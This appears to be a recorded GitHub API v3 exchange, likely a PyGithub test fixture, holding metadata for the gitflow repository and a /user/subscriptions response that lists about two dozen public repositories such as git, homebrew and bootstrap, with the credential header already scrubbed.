{"pushed_at":"2012-02-14T13:11:04Z","updated_at":"2012-05-22T14:27:59Z","mirror_url":null,"homepage":"http://nvie.com/posts/a-successful-git-branching-model/","git_url":"git://github.com/nvie/gitflow.git","url":"https://api.github.com/repos/nvie/gitflow","has_downloads":true,"watchers":3935,"permissions":{"pull":true,"admin":false,"push":false},"master_branch":"develop","fork":false,"svn_url":"https://github.com/nvie/gitflow","has_wiki":true,"has_issues":true,"size":4602,"private":false,"forks":322,"owner":{"url":"https://api.github.com/users/nvie","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","id":83844},"name":"gitflow","language":"Shell","description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","clone_url":"https://github.com/nvie/gitflow.git","ssh_url":"git@github.com:nvie/gitflow.git","html_url":"https://github.com/nvie/gitflow","created_at":"2010-01-20T23:14:12Z","id":481366,"open_issues":92} https GET api.github.com None /user/subscriptions {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '32854'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"0ead8fdcf36bbf2deb2c08c93e78d2cc"'), ('date', 'Tue, 22 May 2012 17:15:05 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"pushed_at":"2012-05-21T09:21:47Z","git_url":"git://github.com/git/git.git","updated_at":"2012-05-22T15:08:00Z","homepage":"This is a publish-only repository and all pull requests are ignored. Please follow Documentation/SubmittingPatches procedure for any of your improvements.","url":"https://api.github.com/repos/git/git","has_downloads":true,"watchers":2193,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/git/git","has_wiki":false,"has_issues":false,"size":33156,"private":false,"forks":528,"owner":{"url":"https://api.github.com/users/git","login":"git","gravatar_id":"878a0ea898da1701df8573ed64a5cc9d","avatar_url":"https://secure.gravatar.com/avatar/878a0ea898da1701df8573ed64a5cc9d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":18133},"name":"git","language":"C","description":"Git Source Code Mirror - This is a publish-only repository and all pull requests are ignored. Please follow Documentation/SubmittingPatches procedure for any of your improvements.","clone_url":"https://github.com/git/git.git","ssh_url":"git@github.com:git/git.git","html_url":"https://github.com/git/git","created_at":"2008-07-23T14:21:26Z","id":36502,"open_issues":4},{"pushed_at":"2009-12-15T14:07:47Z","git_url":"git://github.com/moriyoshi/boost.php.git","updated_at":"2012-03-23T22:31:43Z","homepage":"","url":"https://api.github.com/repos/moriyoshi/boost.php","has_downloads":true,"watchers":46,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/moriyoshi/boost.php","has_wiki":true,"has_issues":true,"size":1331,"private":false,"forks":4,"owner":{"url":"https://api.github.com/users/moriyoshi","login":"moriyoshi","gravatar_id":"0bafbcfcfb548a4ac20406692858f68b","avatar_url":"https://secure.gravatar.com/avatar/0bafbcfcfb548a4ac20406692858f68b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":18755},"name":"boost.php","language":"C++","description":"Create your PHP extension in C++, in a minute.","clone_url":"https://github.com/moriyoshi/boost.php.git","ssh_url":"git@github.com:moriyoshi/boost.php.git","html_url":"https://github.com/moriyoshi/boost.php","created_at":"2008-07-29T03:01:07Z","id":38097,"open_issues":1},{"pushed_at":"2012-05-10T15:17:56Z","git_url":"git://github.com/capistrano/capistrano.git","updated_at":"2012-05-22T14:33:44Z","homepage":"http://capify.org","url":"https://api.github.com/repos/capistrano/capistrano","has_downloads":false,"watchers":2247,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":true,"svn_url":"https://github.com/capistrano/capistrano","has_wiki":true,"has_issues":true,"size":236,"private":false,"forks":236,"owner":{"url":"https://api.github.com/users/capistrano","login":"capistrano","gravatar_id":"885e1c523b7975c4003de162d8ee8fee","avatar_url":"https://secure.gravatar.com/avatar/885e1c523b7975c4003de162d8ee8fee?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":58257},"name":"capistrano","language":"Ruby","description":"Remote multi-server automation tool","clone_url":"https://github.com/capistrano/capistrano.git","ssh_url":"git@github.com:capistrano/capistrano.git","html_url":"https://github.com/capistrano/capistrano","created_at":"2009-02-26T16:14:04Z","id":138312,"open_issues":31},{"pushed_at":"2010-05-28T07:23:06Z","git_url":"git://github.com/moriyoshi/boost.perl.git","updated_at":"2011-10-03T23:45:58Z","homepage":"","url":"https://api.github.com/repos/moriyoshi/boost.perl","has_downloads":true,"watchers":8,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/moriyoshi/boost.perl","has_wiki":true,"has_issues":true,"size":512,"private":false,"forks":0,"owner":{"url":"https://api.github.com/users/moriyoshi","login":"moriyoshi","gravatar_id":"0bafbcfcfb548a4ac20406692858f68b","avatar_url":"https://secure.gravatar.com/avatar/0bafbcfcfb548a4ac20406692858f68b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":18755},"name":"boost.perl","language":"C++","description":"Still a proof of concept...","clone_url":"https://github.com/moriyoshi/boost.perl.git","ssh_url":"git@github.com:moriyoshi/boost.perl.git","html_url":"https://github.com/moriyoshi/boost.perl","created_at":"2009-03-30T21:09:12Z","id":163431,"open_issues":0},{"pushed_at":"2012-05-01T21:43:17Z","git_url":"git://github.com/apenwarr/git-subtree.git","updated_at":"2012-05-20T16:20:08Z","homepage":"","url":"https://api.github.com/repos/apenwarr/git-subtree","has_downloads":true,"watchers":605,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/apenwarr/git-subtree","has_wiki":false,"has_issues":false,"size":176,"private":false,"forks":67,"owner":{"url":"https://api.github.com/users/apenwarr","login":"apenwarr","gravatar_id":"918b627daf7d848cd40770ed6cd15233","avatar_url":"https://secure.gravatar.com/avatar/918b627daf7d848cd40770ed6cd15233?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":20592},"name":"git-subtree","language":"Shell","description":"An experimental alternative to the git-submodule command. Merges and splits subtrees from your project into subprojects and back.","clone_url":"https://github.com/apenwarr/git-subtree.git","ssh_url":"git@github.com:apenwarr/git-subtree.git","html_url":"https://github.com/apenwarr/git-subtree","created_at":"2009-04-25T04:10:31Z","id":185096,"open_issues":11},{"pushed_at":"2012-04-15T18:55:55Z","git_url":"git://github.com/cosmin/git-hg.git","updated_at":"2012-05-20T09:51:32Z","homepage":"http://offbytwo.github.com/git-hg","url":"https://api.github.com/repos/cosmin/git-hg","has_downloads":true,"watchers":150,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/cosmin/git-hg","has_wiki":true,"has_issues":true,"size":224,"private":false,"forks":25,"owner":{"url":"https://api.github.com/users/cosmin","login":"cosmin","gravatar_id":"a8d35490b4016275e5bc3cc6cce8f878","avatar_url":"https://secure.gravatar.com/avatar/a8d35490b4016275e5bc3cc6cce8f878?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1358},"name":"git-hg","language":"Shell","description":"A git-hg utility for checking out and tracking a mercurial repo.","clone_url":"https://github.com/cosmin/git-hg.git","ssh_url":"git@github.com:cosmin/git-hg.git","html_url":"https://github.com/cosmin/git-hg","created_at":"2009-05-14T20:23:01Z","id":201230,"open_issues":0},{"pushed_at":"2012-05-22T14:24:02Z","git_url":"git://github.com/mxcl/homebrew.git","updated_at":"2012-05-22T15:38:59Z","homepage":"http://mxcl.github.com/homebrew","url":"https://api.github.com/repos/mxcl/homebrew","has_downloads":false,"watchers":8688,"permissions":{"pull":true,"admin":false,"push":false},"master_branch":"master","mirror_url":null,"fork":false,"svn_url":"https://github.com/mxcl/homebrew","has_wiki":true,"has_issues":true,"size":4844,"private":false,"forks":3971,"owner":{"url":"https://api.github.com/users/mxcl","login":"mxcl","gravatar_id":"25ff3dfe48d3847ecf9971aab99589fb","avatar_url":"https://secure.gravatar.com/avatar/25ff3dfe48d3847ecf9971aab99589fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":58962},"name":"homebrew","language":"Ruby","description":"The missing package manager for OS X.","clone_url":"https://github.com/mxcl/homebrew.git","ssh_url":"git@github.com:mxcl/homebrew.git","html_url":"https://github.com/mxcl/homebrew","created_at":"2009-05-20T19:38:37Z","id":206084,"open_issues":442},{"pushed_at":"2010-11-25T02:39:53Z","git_url":"git://github.com/jamis/celtic_knot.git","updated_at":"2011-10-12T04:36:53Z","homepage":"","url":"https://api.github.com/repos/jamis/celtic_knot","has_downloads":true,"watchers":4,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/jamis/celtic_knot","has_wiki":true,"has_issues":true,"size":1272,"private":false,"forks":1,"owner":{"url":"https://api.github.com/users/jamis","login":"jamis","gravatar_id":"992fe8c19bbbc27f2b562a9f96efc03d","avatar_url":"https://secure.gravatar.com/avatar/992fe8c19bbbc27f2b562a9f96efc03d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1627},"name":"celtic_knot","language":"Ruby","description":"A library for generating Celtic Knotwork designs from graphs","clone_url":"https://github.com/jamis/celtic_knot.git","ssh_url":"git@github.com:jamis/celtic_knot.git","html_url":"https://github.com/jamis/celtic_knot","created_at":"2009-05-24T23:23:10Z","id":209230,"open_issues":0},{"pushed_at":"2011-10-28T11:27:34Z","git_url":"git://github.com/jdavisp3/twisted-intro.git","updated_at":"2012-05-16T01:52:49Z","homepage":"http://krondo.com/blog/?page_id=1327","url":"https://api.github.com/repos/jdavisp3/twisted-intro","has_downloads":true,"watchers":56,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/jdavisp3/twisted-intro","has_wiki":true,"has_issues":true,"size":188,"private":false,"forks":11,"owner":{"url":"https://api.github.com/users/jdavisp3","login":"jdavisp3","gravatar_id":"fcc237fd34a8e504f7224df0c58cc0b3","avatar_url":"https://secure.gravatar.com/avatar/fcc237fd34a8e504f7224df0c58cc0b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":43582},"name":"twisted-intro","language":"Python","description":"Source files used for an introduction to Twisted","clone_url":"https://github.com/jdavisp3/twisted-intro.git","ssh_url":"git@github.com:jdavisp3/twisted-intro.git","html_url":"https://github.com/jdavisp3/twisted-intro","created_at":"2009-08-09T17:54:00Z","id":273325,"open_issues":0},{"pushed_at":"2012-04-05T21:13:31Z","git_url":"git://github.com/github/markup.git","updated_at":"2012-05-22T15:20:07Z","homepage":"","url":"https://api.github.com/repos/github/markup","has_downloads":false,"watchers":799,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/github/markup","has_wiki":false,"has_issues":true,"size":356,"private":false,"forks":240,"owner":{"url":"https://api.github.com/users/github","login":"github","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":9919},"name":"markup","language":"Ruby","description":"The code we use to render README.your_favorite_markup","clone_url":"https://github.com/github/markup.git","ssh_url":"git@github.com:github/markup.git","html_url":"https://github.com/github/markup","created_at":"2009-10-31T01:02:46Z","id":355893,"open_issues":84},{"pushed_at":"2012-05-08T13:37:09Z","git_url":"git://github.com/defunkt/hub.git","updated_at":"2012-05-22T17:05:30Z","homepage":"http://defunkt.io/hub/","url":"https://api.github.com/repos/defunkt/hub","has_downloads":false,"watchers":1171,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/defunkt/hub","has_wiki":false,"has_issues":true,"size":268,"private":false,"forks":87,"owner":{"url":"https://api.github.com/users/defunkt","login":"defunkt","gravatar_id":"b8dbb1987e8e5318584865f880036796","avatar_url":"https://secure.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":2},"name":"hub","language":"Ruby","description":"hub introduces git to GitHub","clone_url":"https://github.com/defunkt/hub.git","ssh_url":"git@github.com:defunkt/hub.git","html_url":"https://github.com/defunkt/hub","created_at":"2009-12-05T22:15:25Z","id":401025,"open_issues":13},{"pushed_at":"2012-02-14T13:11:04Z","git_url":"git://github.com/nvie/gitflow.git","updated_at":"2012-05-22T14:27:59Z","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","url":"https://api.github.com/repos/nvie/gitflow","has_downloads":true,"watchers":3935,"permissions":{"pull":true,"admin":false,"push":false},"master_branch":"develop","mirror_url":null,"fork":false,"svn_url":"https://github.com/nvie/gitflow","has_wiki":true,"has_issues":true,"size":4602,"private":false,"forks":322,"owner":{"url":"https://api.github.com/users/nvie","login":"nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":83844},"name":"gitflow","language":"Shell","description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","clone_url":"https://github.com/nvie/gitflow.git","ssh_url":"git@github.com:nvie/gitflow.git","html_url":"https://github.com/nvie/gitflow","created_at":"2010-01-20T23:14:12Z","id":481366,"open_issues":92},{"pushed_at":"2011-10-18T00:40:07Z","git_url":"git://github.com/lg/murder.git","updated_at":"2012-05-21T20:34:31Z","homepage":"http://twitter.com","url":"https://api.github.com/repos/lg/murder","has_downloads":true,"watchers":1226,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/lg/murder","has_wiki":true,"has_issues":true,"size":1228,"private":false,"forks":53,"owner":{"url":"https://api.github.com/users/lg","login":"lg","gravatar_id":"f2583cecbd75c5999bf65d9eeb6a84f2","avatar_url":"https://secure.gravatar.com/avatar/f2583cecbd75c5999bf65d9eeb6a84f2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181018},"name":"murder","language":"Python","description":"Large scale server deploys using BitTorrent and the BitTornado library","clone_url":"https://github.com/lg/murder.git","ssh_url":"git@github.com:lg/murder.git","html_url":"https://github.com/lg/murder","created_at":"2010-01-21T07:05:36Z","id":481811,"open_issues":8},{"pushed_at":"2012-05-20T07:40:27Z","git_url":"git://github.com/boto/boto.git","updated_at":"2012-05-21T21:35:47Z","homepage":"http://docs.pythonboto.org/","url":"https://api.github.com/repos/boto/boto","has_downloads":true,"watchers":1537,"permissions":{"pull":true,"admin":false,"push":false},"master_branch":"develop","mirror_url":null,"fork":false,"svn_url":"https://github.com/boto/boto","has_wiki":true,"has_issues":true,"size":4183,"private":false,"forks":396,"owner":{"url":"https://api.github.com/users/boto","login":"boto","gravatar_id":"9062d6f913c867ce042928d6637abd05","avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":327752},"name":"boto","language":"Python","description":"Python interface to Amazon Web Services","clone_url":"https://github.com/boto/boto.git","ssh_url":"git@github.com:boto/boto.git","html_url":"https://github.com/boto/boto","created_at":"2010-07-12T19:15:33Z","id":771016,"open_issues":136},{"pushed_at":"2012-05-22T16:26:22Z","git_url":"git://github.com/rtyley/agit.git","updated_at":"2012-05-22T16:26:25Z","homepage":"https://market.android.com/details?id=com.madgag.agit","url":"https://api.github.com/repos/rtyley/agit","has_downloads":true,"watchers":206,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/rtyley/agit","has_wiki":true,"has_issues":true,"size":1204,"private":false,"forks":41,"owner":{"url":"https://api.github.com/users/rtyley","login":"rtyley","gravatar_id":"1cdc781dd667a5d4b61340591bf1bef4","avatar_url":"https://secure.gravatar.com/avatar/1cdc781dd667a5d4b61340591bf1bef4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":52038},"name":"agit","language":"Java","description":"Agit - Git client for Android","clone_url":"https://github.com/rtyley/agit.git","ssh_url":"git@github.com:rtyley/agit.git","html_url":"https://github.com/rtyley/agit","created_at":"2010-08-29T21:45:54Z","id":870849,"open_issues":36},{"pushed_at":"2012-05-17T19:11:22Z","git_url":"git://github.com/mbostock/d3.git","updated_at":"2012-05-22T14:38:42Z","homepage":"http://d3js.org","url":"https://api.github.com/repos/mbostock/d3","has_downloads":true,"watchers":5938,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/mbostock/d3","has_wiki":true,"has_issues":true,"size":3268,"private":false,"forks":678,"owner":{"url":"https://api.github.com/users/mbostock","login":"mbostock","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":230541},"name":"d3","language":"JavaScript","description":"A JavaScript visualization library for HTML and SVG.","clone_url":"https://github.com/mbostock/d3.git","ssh_url":"git@github.com:mbostock/d3.git","html_url":"https://github.com/mbostock/d3","created_at":"2010-09-27T17:22:42Z","id":943149,"open_issues":110},{"pushed_at":"2012-05-21T16:21:43Z","git_url":"git://github.com/libgit2/pygit2.git","updated_at":"2012-05-22T13:11:06Z","homepage":"","url":"https://api.github.com/repos/libgit2/pygit2","has_downloads":true,"watchers":205,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/libgit2/pygit2","has_wiki":false,"has_issues":true,"size":156,"private":false,"forks":43,"owner":{"url":"https://api.github.com/users/libgit2","login":"libgit2","gravatar_id":"1c56acccc41c591705dc92da5f6ab603","avatar_url":"https://secure.gravatar.com/avatar/1c56acccc41c591705dc92da5f6ab603?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":394745},"name":"pygit2","language":"C","description":"Python bindings for libgit2","clone_url":"https://github.com/libgit2/pygit2.git","ssh_url":"git@github.com:libgit2/pygit2.git","html_url":"https://github.com/libgit2/pygit2","created_at":"2010-11-08T16:27:48Z","id":1062237,"open_issues":11},{"pushed_at":"2011-10-28T07:11:56Z","git_url":"git://github.com/schacon/git-pulls.git","updated_at":"2012-05-13T12:16:08Z","homepage":"","url":"https://api.github.com/repos/schacon/git-pulls","has_downloads":true,"watchers":173,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/schacon/git-pulls","has_wiki":true,"has_issues":true,"size":1004,"private":false,"forks":21,"owner":{"url":"https://api.github.com/users/schacon","login":"schacon","gravatar_id":"9375a9529679f1b42b567a640d775e7d","avatar_url":"https://secure.gravatar.com/avatar/9375a9529679f1b42b567a640d775e7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":70},"name":"git-pulls","language":"Ruby","description":"command line tool to facilitate github pull requests","clone_url":"https://github.com/schacon/git-pulls.git","ssh_url":"git@github.com:schacon/git-pulls.git","html_url":"https://github.com/schacon/git-pulls","created_at":"2010-12-27T20:39:24Z","id":1201343,"open_issues":11},{"pushed_at":"2011-04-01T11:33:23Z","git_url":"git://github.com/emesik/django_mathlatex.git","updated_at":"2011-11-03T17:46:24Z","homepage":"","url":"https://api.github.com/repos/emesik/django_mathlatex","has_downloads":true,"watchers":3,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/emesik/django_mathlatex","has_wiki":true,"has_issues":true,"size":448,"private":false,"forks":1,"owner":{"url":"https://api.github.com/users/emesik","login":"emesik","gravatar_id":"0d0c6eda804f912d230df91577e29180","avatar_url":"https://secure.gravatar.com/avatar/0d0c6eda804f912d230df91577e29180?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":407107},"name":"django_mathlatex","language":"Python","description":"Django template tag for rendering math formulas","clone_url":"https://github.com/emesik/django_mathlatex.git","ssh_url":"git@github.com:emesik/django_mathlatex.git","html_url":"https://github.com/emesik/django_mathlatex","created_at":"2011-03-06T22:29:04Z","id":1447846,"open_issues":0},{"pushed_at":"2012-02-08T00:38:52Z","git_url":"git://github.com/aliasaria/scrumblr.git","updated_at":"2012-05-17T22:11:28Z","homepage":"http://scrumblr.ca","url":"https://api.github.com/repos/aliasaria/scrumblr","has_downloads":true,"watchers":464,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/aliasaria/scrumblr","has_wiki":true,"has_issues":true,"size":132,"private":false,"forks":50,"owner":{"url":"https://api.github.com/users/aliasaria","login":"aliasaria","gravatar_id":"a08f4e2d6ccccab586b502992c31e2ce","avatar_url":"https://secure.gravatar.com/avatar/a08f4e2d6ccccab586b502992c31e2ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":213343},"name":"scrumblr","language":"JavaScript","description":"Collaborative Online Scrum Tool Using Websockets, Node.js, jQuery, and CSS3","clone_url":"https://github.com/aliasaria/scrumblr.git","ssh_url":"git@github.com:aliasaria/scrumblr.git","html_url":"https://github.com/aliasaria/scrumblr","created_at":"2011-03-10T02:29:38Z","id":1461917,"open_issues":14},{"pushed_at":"2012-05-11T17:11:10Z","git_url":"git://github.com/github/developer.github.com.git","updated_at":"2012-05-20T11:16:45Z","homepage":"http://developer.github.com","url":"https://api.github.com/repos/github/developer.github.com","has_downloads":true,"watchers":249,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/github/developer.github.com","has_wiki":false,"has_issues":false,"size":212,"private":false,"forks":119,"owner":{"url":"https://api.github.com/users/github","login":"github","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":9919},"name":"developer.github.com","language":"Ruby","description":"GitHub API documentation","clone_url":"https://github.com/github/developer.github.com.git","ssh_url":"git@github.com:github/developer.github.com.git","html_url":"https://github.com/github/developer.github.com","created_at":"2011-04-26T19:20:56Z","id":1666784,"open_issues":10},{"pushed_at":"2011-11-22T18:10:52Z","git_url":"git://github.com/ChristopherMacGown/python-github3.git","updated_at":"2012-03-08T13:38:12Z","homepage":"","url":"https://api.github.com/repos/ChristopherMacGown/python-github3","has_downloads":true,"watchers":20,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/ChristopherMacGown/python-github3","has_wiki":true,"has_issues":true,"size":236,"private":false,"forks":11,"owner":{"url":"https://api.github.com/users/ChristopherMacGown","login":"ChristopherMacGown","gravatar_id":"4174216c1dc0f223ce608d5a3b66a585","avatar_url":"https://secure.gravatar.com/avatar/4174216c1dc0f223ce608d5a3b66a585?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":43081},"name":"python-github3","language":"Python","description":"Github API v3 library for Python.","clone_url":"https://github.com/ChristopherMacGown/python-github3.git","ssh_url":"git@github.com:ChristopherMacGown/python-github3.git","html_url":"https://github.com/ChristopherMacGown/python-github3","created_at":"2011-04-28T17:07:29Z","id":1676748,"open_issues":1},{"pushed_at":"2012-02-02T09:38:42Z","git_url":"git://github.com/pjkersten/PlantUML.git","updated_at":"2012-02-06T15:26:40Z","homepage":"","url":"https://api.github.com/repos/pjkersten/PlantUML","has_downloads":true,"watchers":5,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/pjkersten/PlantUML","has_wiki":true,"has_issues":true,"size":124,"private":false,"forks":2,"owner":{"url":"https://api.github.com/users/pjkersten","login":"pjkersten","gravatar_id":"6e33170f0701d1d1d8dd57c8f95368ef","avatar_url":"https://secure.gravatar.com/avatar/6e33170f0701d1d1d8dd57c8f95368ef?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":771883},"name":"PlantUML","language":"PHP","description":"PlantUML plugin for MediaWiki","clone_url":"https://github.com/pjkersten/PlantUML.git","ssh_url":"git@github.com:pjkersten/PlantUML.git","html_url":"https://github.com/pjkersten/PlantUML","created_at":"2011-05-06T09:33:38Z","id":1710505,"open_issues":0},{"pushed_at":"2012-05-18T05:00:54Z","git_url":"git://github.com/twitter/bootstrap.git","updated_at":"2012-05-22T17:13:54Z","homepage":"http://twitter.github.com/bootstrap","url":"https://api.github.com/repos/twitter/bootstrap","has_downloads":true,"watchers":29252,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/twitter/bootstrap","has_wiki":true,"has_issues":true,"size":1244,"private":false,"forks":5738,"owner":{"url":"https://api.github.com/users/twitter","login":"twitter","gravatar_id":"74e977ae0a10f06057a119eef30c6660","avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","id":50278},"name":"bootstrap","language":"JavaScript","description":"HTML, CSS, and JS toolkit from Twitter","clone_url":"https://github.com/twitter/bootstrap.git","ssh_url":"git@github.com:twitter/bootstrap.git","html_url":"https://github.com/twitter/bootstrap","created_at":"2011-07-29T21:19:00Z","id":2126244,"open_issues":221},{"pushed_at":"2011-08-01T10:26:00Z","git_url":"git://github.com/stephenmcd/drawnby.git","updated_at":"2012-04-30T11:48:56Z","homepage":"http://drawnby.jupo.org","url":"https://api.github.com/repos/stephenmcd/drawnby","has_downloads":true,"watchers":9,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/stephenmcd/drawnby","has_wiki":true,"has_issues":true,"size":672,"private":false,"forks":2,"owner":{"url":"https://api.github.com/users/stephenmcd","login":"stephenmcd","gravatar_id":"ce5bfd8756e2fae0e800bbea413e86b3","avatar_url":"https://secure.gravatar.com/avatar/ce5bfd8756e2fae0e800bbea413e86b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":116385},"name":"drawnby","language":"JavaScript","description":"Drawn By is a collaborative real-time sketching app built for the 2011 Django Dash.","clone_url":"https://github.com/stephenmcd/drawnby.git","ssh_url":"git@github.com:stephenmcd/drawnby.git","html_url":"https://github.com/stephenmcd/drawnby","created_at":"2011-08-01T10:25:31Z","id":2136154,"open_issues":0},{"pushed_at":"2012-04-20T00:24:31Z","git_url":"git://github.com/stephenmcd/django-socketio.git","updated_at":"2012-05-22T12:45:54Z","homepage":"","url":"https://api.github.com/repos/stephenmcd/django-socketio","has_downloads":true,"watchers":261,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/stephenmcd/django-socketio","has_wiki":true,"has_issues":true,"size":160,"private":false,"forks":27,"owner":{"url":"https://api.github.com/users/stephenmcd","login":"stephenmcd","gravatar_id":"ce5bfd8756e2fae0e800bbea413e86b3","avatar_url":"https://secure.gravatar.com/avatar/ce5bfd8756e2fae0e800bbea413e86b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":116385},"name":"django-socketio","language":"JavaScript","description":"A Django app providing the features required to use websockets with Django via Socket.IO","clone_url":"https://github.com/stephenmcd/django-socketio.git","ssh_url":"git@github.com:stephenmcd/django-socketio.git","html_url":"https://github.com/stephenmcd/django-socketio","created_at":"2011-08-01T21:18:34Z","id":2139136,"open_issues":6},{"pushed_at":"2012-04-21T16:22:25Z","git_url":"git://github.com/jstasiak/django-realtime.git","updated_at":"2012-05-08T07:18:20Z","homepage":"","url":"https://api.github.com/repos/jstasiak/django-realtime","has_downloads":true,"watchers":15,"permissions":{"pull":true,"admin":false,"push":false},"mirror_url":null,"fork":false,"svn_url":"https://github.com/jstasiak/django-realtime","has_wiki":true,"has_issues":true,"size":132,"private":false,"forks":2,"owner":{"url":"https://api.github.com/users/jstasiak","login":"jstasiak","gravatar_id":"93cdbd3d2a76da1adf727a6bc9fec1ed","avatar_url":"https://secure.gravatar.com/avatar/93cdbd3d2a76da1adf727a6bc9fec1ed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":36209},"name":"django-realtime","language":"JavaScript","description":"Use this application to get Socket.IO support in your Django project and dive into real time 